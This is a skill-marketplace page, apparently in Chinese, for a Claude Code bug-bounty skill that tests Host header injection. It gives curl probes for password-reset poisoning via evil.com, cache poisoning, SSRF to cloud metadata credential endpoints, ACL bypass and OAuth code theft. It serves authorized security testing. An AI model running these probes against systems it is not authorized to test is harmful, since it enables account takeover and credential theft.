mcpField
H
hunt-host-header

hunt-host-header

github.com/elementalsouls安全5.3k251 次安装今天更新
代码仓库

关于 hunt-host-header

面向安全测试人员的 Host Header 注入测试技能,涵盖密码重置投毒、缓存投毒、SSRF 与 OAuth/OIDC 等路径。强调区分漏洞机制并通过实际回显、缓存行为或带外回调验证结果。

主要功能

  1. 01密码重置链接投毒测试
  2. 02Host 相关缓存投毒验证
  3. 03基于 Host 的 SSRF 检查
  4. 04路径覆盖与 ACL 绕过测试
  5. 05OAuth/OIDC 主机投毒检查
  6. 06误报排除与证据验证

适用场景

  1. 01检查重置邮件是否使用受控 Host
  2. 02验证共享缓存是否返回投毒内容
  3. 03测试反向代理是否按 Host 路由
  4. 04核实 OAuth 流程是否泄露授权码

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/elementalsouls/claude-bughunter --skill hunt-host-header

安装后在 Claude Code 中输入/hunt-host-header确认已加载。

详细介绍

HUNT-HOST-HEADER — Host 头注入

原理与来源

此技能基于公开的 Host 头攻击文献,不是凭空编造的攻击载荷。 在报告中引用技术来源,切勿捏造 ID:

  • 密码重置投毒类别 — 经典文章是 Skelet/Detectify 时期的 《Practical HTTP Host header attacks》(Django request.get_host() → 密码重置链接 案例)。许多框架会根据请求 Host 构建重置 URL,且没有类似 ALLOWED_HOSTS 的允许列表。引用你实际观察到的框架及 Host 反射行为。
  • 通过未纳入缓存键的 Host / X-Forwarded-Host 实施 Web 缓存投毒 — PortSwigger Research、 James Kettle 的《Practical Web Cache Poisoning》(2018 年)和《Web Cache Entanglement》(2020 年)。 这两篇文章定义了未纳入缓存键的输入投毒机制,也是 X-Forwarded-Host 投毒背后的原理。
  • 基于路由的 SSRF — PortSwigger Research 的《Cracking the lens》/基于路由的 SSRF (Host 头控制前端选择上游服务)。

撰写报告时,说明你复现的确切行为(反射的头部、使用新键时的缓存 HIT、来自 Collaborator 的带外命中)。不要照搬未经核实的 CVE 或 H1 ID — 漏掉引用也比引用错误内容好。


核心目标

Host 头注入若能影响密码重置链接,即为严重问题(可接管任何用户的账户)。

价值最高的攻击链:

  • 密码重置投毒 → ATO — 服务器根据请求 Host 构建重置链接; 攻击者设置 Host: evil.com;受害者收到的重置邮件会将令牌指向攻击者 → 受害者点击后令牌被捕获 → 完全接管账户。预先账户接管变体:即使受害者仅请求 重置自己的密码,令牌也会泄露给 evil.com。
  • 通过未纳入缓存键的 Host 实施 Web 缓存投毒 — CDN/反向代理将反射攻击者提供的 X-Forwarded-Host 的响应缓存为绝对 URL(脚本 src、链接、重定向)→ 毒化的 缓存条目会通过该缓存键提供给后续所有访客 → 大规模 XSS/重定向/CSP 绕过。
  • 基于路由的 SSRF — 前端直接使用Host 头选择上游服务; Host: 169.254.169.254(或内部主机名)会使其将请求转发到该目标 → 云元数据/内部管理面板。
  • 路径覆盖型 SSRF/ACL 绕过 — IIS/ASP.NET/Spring 支持 X-Original-URL / X-Rewrite-URL 覆盖路由路径 → 访问 /admin 或边缘 ACL 认为已拦截的内部端点。 (与基于路由的 SSRF 属于不同层 — 参见阶段 3。)
  • OAuth/OIDC 投毒 — Host 控制 redirect_uri 或 OIDC 的 issuer/发现文档 → 认证码或令牌被盗 → ATO。

攻击面信号

Any password reset / forgot-password / email-verification / invite endpoint
Any app behind CDN/reverse proxy (Cloudflare, Varnish, Fastly, Akamai, Nginx, HAProxy)
OAuth/OIDC authorization + /.well-known/openid-configuration endpoints
Absolute URLs constructed from request Host (set-password links, share links, webhooks)
Email-sending endpoints (transactional mail, notifications)
Reverse proxies that may route by Host (k8s ingress, service mesh, internal forward proxies)

危险的头部候选项(未纳入缓存键/受信任的输入):

Host                 X-Forwarded-Host      X-Host
X-Forwarded-Server   X-HTTP-Host-Override  Forwarded
X-Original-URL       X-Rewrite-URL         X-Override-URL   (path-override class)

分步测试方法

始终使用你自己注册的测试账户进行测试。切勿请求重置其他用户的密码。

阶段 1 — 密码重置投毒
# 1a. Override Host directly
curl -s -X POST https://$TARGET/forgot-password \
  -H "Host: evil.com" \
  -H "Content-Type: application/json" \
  -d '{"email":"[email protected]"}'

# 1b. X-Forwarded-Host (behind reverse proxy that trusts it)
curl -s -X POST https://$TARGET/forgot-password \
  -H "Host: $TARGET" \
  -H "X-Forwarded-Host: evil.com" \
  -d "[email protected]"

# 1c. Host + X-Forwarded-Host combo, and X-Host
curl -s -X POST https://$TARGET/forgot-password \
  -H "Host: $TARGET" -H "X-Host: evil.com" \
  -d "[email protected]"

# 1d. Dual-Host / Host override smuggling: some stacks read the SECOND Host
printf 'POST /forgot-password HTTP/1.1\r\nHost: %s\r\nHost: evil.com\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 33\r\nConnection: close\r\n\r\[email protected]' "$TARGET" \
  | openssl s_client -quiet -connect $TARGET:443 2>/dev/null

# 1e. Absolute-URL injection: keep real Host, append attacker host so the
#     reset link becomes https://TARGET.evil.com/... or routes the token out
curl -s -X POST https://$TARGET/forgot-password \
  -H "Host: $TARGET.evil.com" -d "[email protected]"

# 1f. Trailing-port / userinfo confusion (parsers that split on : or @)
curl -s -X POST https://$TARGET/forgot-password \
  -H "Host: $TARGET:[email protected]" -d "[email protected]"

**确认:**在你自己的测试收件箱中打开重置邮件,检查链接的主机。令牌必须出现在攻击者控制的主机(evil.com、$TARGET.evil.com 或 Collaborator 域名)下,才能构成真实发现。将 Burp Collaborator 域名用作注入的主机,这样受害者点击链接(或预览抓取器获取链接)时,你就能在带外捕获令牌并取得证据 — 参见验证。

阶段 2 — 通过 Host / X-Forwarded-Host 进行 Web 缓存投毒

机制:这是一个反射漏洞,不是 OOB 漏洞。注入的主机必须反射到响应正文中(绝对 URL、脚本 src、<link href>、<base href>、重定向 Location 或 canonical/og:url),并且该响应必须缓存在一个你无法控制的缓存键上。缓存测试本身不会触发 Collaborator 回调——只有之后受害者的浏览器加载被投毒的绝对 URL 时才会触发。

# 2a. Is the host reflected into the body?
curl -s https://$TARGET/ \
  -H "Host: $TARGET" -H "X-Forwarded-Host: canary-$RANDOM.example" \
  | grep -i "canary"

# 2b. Is the response cacheable, and what is the cache key?
curl -sI "https://$TARGET/?cb=$RANDOM" \
  | grep -iE "cache-control|cf-cache-status|x-cache|age|via|surrogate|vary"
#   Look for: X-Cache/CF-Cache-Status: HIT, nonzero Age, Via: varnish/fastly/cloudfront.
#   Check Vary: — if Vary does NOT include X-Forwarded-Host, the header is UNKEYED → poisonable.

# 2c. Prove poisoning: poison once, then fetch CLEAN (no injected header) on same key.
URL="https://$TARGET/?cb=poison$RANDOM"
curl -s "$URL" -H "X-Forwarded-Host: evilcdn.example" >/dev/null   # poison
curl -s "$URL" | grep -i "evilcdn.example"                        # clean victim view → reflected = POISONED

排除误报(必做):

  • 如果反射内容只会出现在你自己的请求中(因为该请求头被纳入缓存键,例如出现在 Vary 中,或 CDN 将 Host 纳入缓存键),这就不是投毒——确认 2c 在请求中不带该请求头时仍会返回载荷。
  • 每次都是 Age: 0 + MISS → 没有共享缓存 → 没有大规模影响。降级为仅影响自身 / 低危。
  • 声称“大规模”前,先通过另一台机器 / 全新的出口 IP / 无痕模式确认影响范围。缓存范围通常因边缘节点 / Cookie / 地理区域而异。
阶段 3 — 通过 Host Header 进行 SSRF — 两种不同机制(不要混为一谈)

它们作用于不同层。请分别测试;它们不会组合到同一个请求中。

(3A) 基于路由的 SSRF — Host 请求头选择上游。 路径放在请求行中,与普通请求完全一样,因为元数据服务 / 内部主机提供普通 HTTP 服务,且只会看到你转发的请求行和请求头。X-Original-URL 在此处无关——EC2 IMDS 会忽略它。

# Correct routing-SSRF probe: path on the request line, Host steers the proxy upstream.
curl -s "https://$TARGET/latest/meta-data/" -H "Host: 169.254.169.254"
curl -s "https://$TARGET/latest/meta-data/iam/security-credentials/" -H "Host: 169.254.169.254"

# GCP / Azure equivalents (still routing via Host):
curl -s "https://$TARGET/computeMetadata/v1/" \
  -H "Host: metadata.google.internal" -H "Metadata-Flavor: Google"
curl -s "https://$TARGET/metadata/instance?api-version=2021-02-01" \
  -H "Host: 169.254.169.254" -H "Metadata: true"

# Internal hostname / port routing:
curl -s "https://$TARGET/" -H "Host: localhost:6379"   # Redis behind the proxy
curl -s "https://$TARGET/" -H "Host: internal-admin.svc.cluster.local"

# Blind / no reflection? Point the Host at a Collaborator subdomain and watch for the
# proxy's outbound DNS/HTTP lookup — that proves the front-end resolves the attacker host.
curl -s "https://$TARGET/" -H "Host: $COLLAB"

(3B) 路径覆盖型 SSRF / ACL 绕过 — X-Original-URL / X-Rewrite-URL。 这是 IIS/ASP.NET/Spring-Cloud-Gateway 的一项功能,应用会覆盖路由路径。实际 Host 保持不变;你绕过的是边缘路径 ACL,而不是将流量导向上游。保留实际 Host。

# Reach an internal/blocked path the edge thought it denied. Real Host stays.
curl -s "https://$TARGET/" -H "Host: $TARGET" -H "X-Original-URL: /admin"
curl -s "https://$TARGET/" -H "Host: $TARGET" -H "X-Rewrite-URL: /internal/metrics"
# Diff against a direct GET /admin (which the edge blocks) — a different status/body proves override.

旧探测 Host: 169.254.169.254 + X-Original-URL: /latest/meta-data/ 是错误的:这两个请求头作用于不同层,永远不会组合生效。获取元数据请使用 3A,绕过 ACL 请使用 3B。

阶段 4 — OAuth / OIDC / SAML 投毒
# Does the authorization endpoint build redirect_uri / display URL from Host?
curl -s "https://$TARGET/oauth/authorize?response_type=code&client_id=app&redirect_uri=https://$TARGET/cb" \
  -H "Host: evil.com" | grep -iE "redirect|location|action="

# OIDC discovery: if issuer/endpoints reflect Host, the whole flow can be re-pointed.
curl -s "https://$TARGET/.well-known/openid-configuration" -H "X-Forwarded-Host: evil.com" \
  | grep -iE "issuer|authorization_endpoint|token_endpoint|jwks_uri"

**确认:**授权码 / 令牌必须实际发送到攻击者主机(在 Collaborator 上捕获)——仅反射字符串并不能证明 ATO。

阶段 5 — 请求头模糊测试(Param Miner)

Burp Param Miner → Guess headers 更快,也能发现下方列表未涵盖的未纳入缓存键 / 会影响缓存的请求头。手动扫描:

HOST_HEADERS=(X-Forwarded-Host X-Host X-Forwarded-Server X-HTTP-Host-Override \
  Forwarded X-Original-URL X-Rewrite-URL X-Override-URL X-Forwarded-Scheme)
for H in "${HOST_HEADERS[@]}"; do
  echo "=== $H ==="
  curl -s -I "https://$TARGET/" -H "$H: canary-$RANDOM.example" \
    | grep -iE "location|x-cache|cf-cache|age|set-cookie"
done

漏洞链表

发现漏洞链至影响
重置链接的主机 = 攻击者(自有测试账号)注入 Collaborator 主机 → 点击时捕获令牌严重 — 接管任意用户账号
X-Forwarded-Host 反射到绝对 URL 中 + 可缓存且未纳入缓存键投毒缓存键 → 未带载荷的请求返回载荷 → 加载 XSS/重定向高危 — 大规模缓存投毒
前端根据 Host 进行路由Host: 169.254.169.254,路径放在请求行中 → 凭据高危/严重 — SSRF → 云凭据
X-Original-URL 覆盖路径访问在边缘被拦截的 /admin高危 — ACL 绕过 / SSRF
OAuth redirect_uri/issuer 根据 Host 构建重新指向授权流程 → 在 Collaborator 上捕获授权码 / 令牌严重 — 通过窃取授权码接管账号

验证(团队规范)

✅ 密码重置: 你自己的测试账户收到的邮件中的令牌 URL 使用了攻击者控制的主机。最有力的证据 = 注入一个 Collaborator 主机,并证明点击/预览链接时,收到携带令牌的入站 HTTP 请求(带外捕获)。 ✅ 缓存投毒: 一个未包含注入标头的请求(使用新的出口 IP / 无痕模式)仍会返回攻击者的载荷 → 证实共享缓存投毒。如果按 Vary 键区分,或仅出现 MISS/Age:0,则将严重性降为低。 ✅ 路由 SSRF: 收到来自 169.254.169.254 / 内部主机的真实响应正文,或前端向你的 Collaborator 发出了带外 DNS/HTTP 请求(盲 SSRF 情况)。 ✅ 路径覆盖: 与被边缘拦截的直接请求相比,状态码/正文存在差异,证明覆盖生效。 ✅ OAuth/OIDC: 授权码 / 令牌确实已发送到攻击者主机(已捕获),而不只是被反射。

始终排除误报:

  • 反射 ≠ 缓存。仅对你缓存 ≠ 对其他人缓存(检查 Vary、第二个 IP)。
  • 回显你的 Host 字符串的 200 响应不算 SSRF,除非响应内容来自内部目标,或你的 Collaborator 收到了请求。
  • 有些邮件系统无论 Host 是什么,都会将链接重写为固定的 SITE_URL —— HTTP 响应中反射的标头并不能证明邮件已被投毒;请核实邮件正文。

严重性:

  • 重置 → 影响任意用户的 ATO:严重
  • 路由 SSRF → 云元数据凭据:严重(凭据可用时)/ 高
  • 缓存投毒 → 大规模 XSS/重定向(已证实共享缓存键):高
  • 路径覆盖 → 可访问内部/管理端:高
  • 仅反射、不可缓存、不在邮件中、无法访问内部资源:低 / 信息性

评论

支持 Markdown